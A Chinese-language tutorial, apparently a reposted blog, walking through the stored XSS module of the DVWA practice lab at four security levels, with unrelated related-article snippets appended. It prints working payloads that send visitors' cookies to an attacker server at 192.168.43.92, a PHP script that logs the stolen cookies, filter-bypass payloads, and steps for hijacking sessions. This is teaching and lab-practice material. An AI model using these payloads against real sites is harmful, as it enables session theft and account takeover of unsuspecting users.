DVWA靶机-存储型XSS漏洞(Stored)

article/2025/8/27 1:23:58

DVWA靶机-存储型XSS漏洞(Stored)

前章:

DVWA靶机-暴力破解(Brute Force) && DVWA靶机的四个安全等级

DVWA靶机-命令注入漏洞(Command Injection)

DVWA靶机-文件包含漏洞(File Inclusion)

DVWA靶机-文件上传漏洞(File uploads)

DVWA靶机-跨站请求伪造(CSRF)

DVWA靶机-反射性XSS漏洞(Reflected)

XSS跨站脚本攻击

XSS(Cross Site Script):全称为跨站脚本攻击,为了与CSS(Cascading Style Sheet)层叠样式表有所区别,所以在安全领域称之为XSS。

XSS攻击:通常指黑客通过HTML注入(控制输入变量),插入恶意脚本,从而在被攻击者浏览网页时,加载并执行攻击者恶意制造的网页程序,通常指JS,实际可包含java、VBscript、ActiveX、Flash、html,攻击成功后,攻击者可能得到一定的权限私密网页内容会话cookie等。

存储型XSS漏洞挖掘方法

之前我们已经介绍过XSS反射型漏洞的挖掘以及攻击方法,今天我们来介绍XSS存储型漏洞的挖掘与攻击方法,同XSS反射型类似,原理相同,区别在于,存储型是将输入的将恶意代码上传或者存储到漏洞服务器中,当被攻击者浏览包含该恶意代码的页面,就可能执行这段恶意代码,存储型的XSS可以永久存储于网页的服务器中

存储型的危害相当的大,将恶意代码存储在服务器中,当任何一个用户访问时都有可能触发恶意代码的执行,从而导致用户的cookie被盗取等。

1.存储型XSS漏洞可能存在的环境

存储型XSS一般出现在网站留言板、评论、等可以与服务器交互的位置,在DVWA-XSS(Stored)模块中模拟了一种评论留言的留言板
在这里插入图片描述

2.漏洞测试

既然输入的内容能存入服务器,并回显在WEB页面,那我们可以尝试一下<script></script>标签是否能执行

<script>alert(1)</script>

在这里插入图片描述

3.漏洞检验-恶意代码化

此时我们发现了存储型XSS漏洞,此时我们可以修改攻击载荷<scirpt></script>,加入一些恶意代码执行
在这里插入图片描述

1.DVWA-LOW等级下的存储型XSS漏洞

(1).测试存储型XSS漏洞所在位置

在low等级下,Stored型XSS的页面回显如下,我们在留言板中输入name和message会存储在服务器中,并在页面回显出来,在low等级下必然存存储型XSS,我们可以直接实施攻击。
在这里插入图片描述
首先,我们在网页源代码中找出回显模块,我们以message为例
在这里插入图片描述
在回显this is test!时使用标签<br>this is test!</br>
此时我们可以尝试打破<br>标签闭合,在输入时加入其它函数或者标签。
弹窗函数:

  • alert() && confirm() && prompt()函数: 都为弹窗函数

我们使用<scirpt>alert(1)</script>标签打破<br>闭合,此时alert()函数会执行,弹框中显示1
在这里插入图片描述
此时我们可以进行一些有攻击性的操作,比如在留言板中构造出获取cookie值的函数,盗用进入该留言板的用户的cookie值。

(2).植入恶意代码、盗取用户cookie

document.loaction: 指定cookie传送站点
192.168.43.92:攻击者服务器
document.cookie: 获取进入留言板的用户的cookie值

注:message长度有限制,我们可以修改源码的长度限制,然后传入下面的恶意代码

<script>document.location='http://192.168.43.92/xss.php?cookie=' +document.cookie;</script>

在这里插入图片描述
xss.php: 为LOW等级下获取cookie的处理方法,以及迷惑性界面的定义

//xss.php
<?php$cookie=$_GET['cookie']; //获取cookie变量的值$log = fopen("cookie.txt","a+"); //创建并打开一个cookie.txt的文本,权限为读写权限,保留原本文件内容fwrite($log,$cookie."/n"); //把cookie的值写入创建的文本fclose($log); //关闭文本文件
?>
//为迷惑性404 html页面
[404源码](https://www.haolizi.net/example/view_14699.html)

当用户访问该留言板页面时,恶意代码执行,通过document.cookie函数获取当前用户的cookie值,赋给站点xss.php文件,xss.php文件中定义也文件操作,将获取的cookie写入站点cookie.txt文件,此时攻击者就获取了用户的cookie值

当用户访问该留言板时,恶意代码执行,会跳到我们xss.php中定义的内容

迷惑性页面404源码
在这里插入图片描述
此时恶意代码已经执行,cookie.txt文件创建成功,用户cookie已经写入cookie.txt文件
在这里插入图片描述
在这里插入图片描述

(3).以用户的身份认证(cookie)登录网站

在DVWA中对cookie没有防范措施,也就是说,在用户登录的情况下,攻击者可以利用被攻击者的cookie,直接与服务器获取连接

在此处

  • Firefox: 模拟用户登录状态
  • Chrome: 手动修改站点cookie,模拟攻击者登录过程
    在这里插入图片描述

LOW等级下的存储型XSS源码:
XSS(Stroed):

trim() 函数: 移除字符串两侧的空白字符或其他预定义字符
stripslashes()函数: 删除反斜杠"/"
mysql_real_escape_string()函数: 转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:

  • \x00
  • \n
  • \r
  • \
  • "
  • \x1a
    如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name    = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = stripslashes( $message );$message = mysql_real_escape_string( $message );// Sanitize name input$name = mysql_real_escape_string( $name );// Update database$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );//mysql_close();
}?> 

2.DVWA-Medium等级下的存储型XSS漏洞

(1).漏洞测试

Medium等级下必然存在一些过滤,我们测试过程中发现,在message中使用常用的绕过方法都不能绕过过滤策略
在这里插入图片描述
我们测试一下在name栏,能否执行<scirpt></script>标签,在测试过程中,name栏也有长度限制,我们修改其源码,增大长度插入<script></script>标签

我们测试出在name栏中正常的<script></script>也被做了过滤策略

绕过方法

  • 大写绕过: <ScRipt>alert(1)<ScRipt>
  • 双写绕过: <scr<script>ipt>alert(1)</script>
  • <img>标签错误路径绕过: <img src=x onerror=alert(1)>

此处以大写绕过为例
在这里插入图片描述

(2).植入恶意代码、盗取用户cookie

同low等级一样,我们构造的恶意代码为:

<ScRipt>document.location='http://192.168.43.92/xss1.php?cookie=' +document.cookie;</ScRipt>

与low等级不同的是,<ScRipt></ScRipt>

xss1.php: 为Medium等级下获取cookie的处理方法、迷惑性链接

创建的保存用户cookie的文档为,cookie1.txt文本文档

<?php$cookie = $_GET['cookie']; //获取cookie变量的值$log = fopen("cookie1.txt","a+"); // 创建并打开一个cookie1.txt的文本,权限为读写权限,保留原本文件内容fwrite($log,$cookie ."\n"); //把cookie的值写入创建的文本文档fclose($log); //关闭文本
?>
+//迷惑性404页面
[404源码](https://www.haolizi.net/example/view_14699.html)

当用户访问该留言板页面时,恶意代码执行,通过document.cookie函数获取当前用户的cookie值,赋给站点xss1.php文件,xss1.php文件中定义也文件操作,将获取的cookie写入站点cookie1.txt文件,此时攻击者就获取了用户的cookie值

当用户访问该留言板时,恶意代码执行,会跳到我们xss1.php中定义的内容

迷惑性页面404源码

在这里插入图片描述
cookie1.txt创建成功
在这里插入图片描述
cookie值写入cookie1.txt文本文档
在这里插入图片描述

(3).以用户的身份认证(cookie)登录网站

同low等级一样,在用户登录的情况下,攻击者可以利用用户的cookie,直接与服务器获取连接

在这里插入图片描述
Medium等级下的存储型XSS源码:
在Medium等级中,对message模块有强大的过滤,而对于name模块的过滤就比较弱了。
XSS(Stroed):
strip_tags() 函数: 剥去字符串中的 HTML、XML 以及 PHP 的标签,在此处剥除了message中的标签。
mysql_real_escape_string()函数: 转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:

  • \x00
  • \n
  • \r
  • \
  • "
  • \x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
addslashes() 函数: 返回在预定义字符之前添加反斜杠的字符串
htmlspecialchars() 函数: 把预定义的字符转换为 HTML 实体。

<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name    = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = strip_tags( addslashes( $message ) );$message = mysql_real_escape_string( $message );$message = htmlspecialchars( $message );// Sanitize name input$name = str_replace( '<script>', '', $name );$name = mysql_real_escape_string( $name );// Update database$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );//mysql_close();
}?> 

3.DVWA-High等级下的存储型XSS漏洞

(1).漏洞测试

High等级下必然存在更强的过滤策略,我们测试过程中发现,同medium等级一样 在message中使用常用的绕过方法都不能绕过过滤策略
在这里插入图片描述
name栏中我们发现,<script></script>也被过滤,不能绕过,当然img标签可以绕过,我们看high等级下的源码
High等级下的存储型XSS源码:
XSS (Stored) Source:

preg_replace()函数: 函数用于正则表达式的搜索和替换,替换为空,i为不区分大小写

同DVWA靶机中High等级下的反射型XSS类似,都用到了preg_replace()函数,它彻底的过滤了<script></script>,不能绕过,同时针对于message模块,也有相当强大的过滤策略,message不存在存储型XSS漏洞

 <?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name    = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = strip_tags( addslashes( $message ) );$message = mysql_real_escape_string( $message );$message = htmlspecialchars( $message );// Sanitize name input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );$name = mysql_real_escape_string( $name );// Update database$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );//mysql_close();
}?> 

绕过方法:

使用其他标签,比如 <img src=x onerror=alert(1)>img调用图片,src所描述路径不存在,会导致onerror执行,从而时alert(1)函数触发,回显1
在这里插入图片描述

4.DVWA-impossible等级

在impossible等级下,针对于message与name模块都使用 stripslashes()、mysql_real_escape_string()、以及htmlspecialchars()函数

这给我们对于防范存储型XSS提供一个范例

<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name    = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = stripslashes( $message );$message = mysql_real_escape_string( $message );$message = htmlspecialchars( $message );// Sanitize name input$name = stripslashes( $name );$name = mysql_real_escape_string( $name );$name = htmlspecialchars( $name );// Update database$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );$data->bindParam( ':message', $message, PDO::PARAM_STR );$data->bindParam( ':name', $name, PDO::PARAM_STR );$data->execute();
}// Generate Anti-CSRF token
generateSessionToken();?> 

http://chatgpt.dhexx.cn/article/XXd2meKL.shtml

相关文章

DVWA-XSS(Stored)注入-Low-Medium-Hight

Low 1、进来这里可以看到&#xff0c;好像是有两个入口&#xff0c;先随便填个数据试试水&#xff0c;勒特 payload: <script>alert(1)</script> 2、直接提交&#xff0c;简单拿下。 Medium 1、继续尝试刚才的入口&#xff0c;勒特。 payload: <script>ale…

Solr---string类型的docValues属性、stored属性

描述&#xff1a; 使用solr6.0的默认配置后&#xff0c;多数的字段使用string类型&#xff0c;通过stored设置为false来减少存储大小&#xff0c;然而却没有效果&#xff0c;还是会存储并在查询时返回。 问题&#xff1a; 在managed-schema文件内发现&#xff0c;fieldType为s…

@available 修饰类成员变量报错Stored properties cannot be marked potentially unavailable

在不方便升级插件的情况下&#xff0c;可以手动修改这个问题

mysql routines是什么_MySQL入门:Stored Routines 的变数与流程 - Break易站

1 宣告与使用变数 在Stored routines中,除了可以宣告需要的参数外,如果需要处理比较复杂的资料,你也可以宣告「区域变数、local variables」。下列是宣告区域变数的语法与位置: 下列是几种宣告区域变数的范例: 宣告需要的区域变数后,你就可以在stored routines中使用它们…

Dvwa_XSS (Stored)

&#xff08;实验基础&#xff1a;有php语言和html语言基础&#xff09; 1、low 在Name里构造恶意脚本&#xff0c;写完10个字符后发现在输输不进去&#xff0c;此时按ctrlu&#xff08;火狐&#xff0c;Microsoft Edge&#xff0c;谷歌这三款浏览器都可用此快捷方式打开网页源…

DVWA-XSS (Stored)

目录 简介安全级别&#xff1a;Low安全级别&#xff1a;Medium安全级别&#xff1a;High安全级别&#xff1a;Impossible 简介 存储型XSS 长期存储于服务器端&#xff1b; 每次用户访问都会执行脚本代码&#xff1b; 安全级别&#xff1a;Low 查看源码 <?phpif( isse…

Oracle中的存储过程【Stored Procedure】和存储函数【Stored Function】

一、存储过程 1.1、存储过程的介绍 存储过程&#xff08;Stored Procedure&#xff09;是在大型数据库系统中&#xff0c;一组为了完成特定功能的SQL 语句集&#xff0c;经编译后直接存储在数据库中&#xff0c;用户调用指定存储过程的名字和传递对应的参数&#xff08;如果该…

DVWA指点迷津-XSS(Stored)

XSS(Stored) 特点 又名“存储型XSS”。攻击者的“恶意语句”会存储在服务器端数据库&#xff0c;具有很强的稳定性。每次前端调用数据库内容&#xff0c;则会触发语句。一般出现在留言板、上传资料等与数据库有交互的模块。相比反射型XSS&#xff0c;该类型的XSS带来的危害更…

XSS(Stored)

XSS(Stored) 前言 看了一个web的安全视频&#xff0c;里面有说说有的web漏洞都是输入输出的控制问题&#xff0c;虽然感觉说的太笼统了。但确实没什么毛病。sql注入来说&#xff0c;对用户的输入做好处理&#xff0c;对服务端的输出做好处理&#xff0c;对于我这样的菜鸡来说…

linux重启java项目

1.java项目占用的8888端口&#xff0c; 首先查看该进程的进程号&#xff1a; netstat -tunlp|grep 88882.占用8888端口的进程id为4179&#xff0c;杀死该进程&#xff1a; kill -9 41793.启动java项目&#xff1a; nohup java -jar demo-0.0.1-SNAPSHOT.jar &nohup 意思…

linux 如何重启oracle,Linux重启oracle数据库的三大技巧

Linux系统下网站出现问题的时候,可通过重启oracle数据库进行处理,而重启oracle数据库的方法有好多种,可登陆数据库进行操作,也可在终端操作,具体的随小编一起来了解下吧。 网站的服务中断了,重启下发现是oralce服务不存在,又不想重启机器,就重新启动下oralce,再重启服…

Linux重启nginx服务

1.方法一 到nginx下面的sbin目录下执行 ./nginx -s reload2.方法二 如果第一种不生效&#xff0c;&#xff08;项目背景&#xff09;实际项目不生效&#xff0c;也即部署到nginx下面的vue项目&#xff0c;已经更换为最新版本&#xff0c;但是仍然没有生效&#xff0c;可以使用…

linux重启程序

今天在Linux上部署程序出错&#xff0c;经检查最后是linux上的程序原来的该程序未停止&#xff0c;又重新启动该程序导致&#xff08;相当与Linux上有两个该程序同时运行导致的错误&#xff09; 解决方法&#xff1a; 1. 查看linux 上的线程 ps -ef | grep java2.运行结果 其…

pjax理解

注&#xff1a; http://www.itkee.cn/topic-info-75.html https://fly.layui.com/jie/10956/ http://bsify.admui.com/jquery-pjax/?idpjax-pushstate-ajax

thymeleaf 整合 pjax 无刷新跳转

原文地址&#xff1a; http://www.linzichen.cn/article/1577881001718185984 在一些需要做 seo 优化的应用里&#xff0c;比如门户网站、博客论坛网站、商城商品页网站等&#xff0c;我们的数据常常采用 服务端渲染的方式来展现&#xff0c;目的是为了让爬虫更好的抓取到&…

php pjax案例,jQuery pjax简单示例汇总

pjax 是一个jQuery插件&#xff0c;它使用 ajax 和 pushState 来实现快速的浏览体验&#xff0c;包括真正的固定链接&#xff0c;页面标题和工作返回按钮。本文主要和大家分享jQuery pjax简单示例汇总&#xff0c;希望能帮助到大家。 ajax缺点是破坏了浏览器的前进后退&#xf…

pjax php,php整合pjax(pushstate+ajax)实现无刷新页面

PJAX效果 通过url可以跟踪ajax的动态加载内容。这种技术尤其在two step view布局的视图中有很大的好处。无刷新加载页面&#xff0c;意味着响应速度和用户体验得到了极大的提升&#xff0c;在静态脚本和通用模块比较多的情况下&#xff0c;最大程度上节省了重用部分的开销。应用…

html5 pjax,pjax——页面无刷新跳转

pjax虽然不是什么新的技术&#xff0c;然而本人是最近才发现这个比较牛叉的技术。下面是对pjax的介绍&#xff1a; pjax是在HTML5里面引用的新技术&#xff0c;是对ajax pushState的封装&#xff0c;是实现无刷新ajax加载并解决浏览器前进和后退问题的一个开源实现。同时支持了…

java pjax_(转)PJAX的实现与应用

一、前言 web发展经历了一个漫长的周期&#xff0c;最开始很多人认为Javascript这们语言是前端开发的累赘&#xff0c;是个鸡肋&#xff0c;那个时候人们还享受着从一个a链接蹦到另一个页面的web神奇魔术。后来随着JavaScript的不断更新换代&#xff0c;他的功能不仅仅是为网页…

html5 pjax,关于PJAX局部刷新

前言部分 本教程最先来自鬼少博客&#xff0c;后论坛有人补充搜索和评论&#xff0c;然后又被各种转载&#xff0c;转完甚至还有阉割现象&#xff0c;导致会出现各种问题,于是&#xff0c;我这里再重发一次。虽然注释很清楚&#xff0c;但是&#xff0c;还有很多人看不懂&#…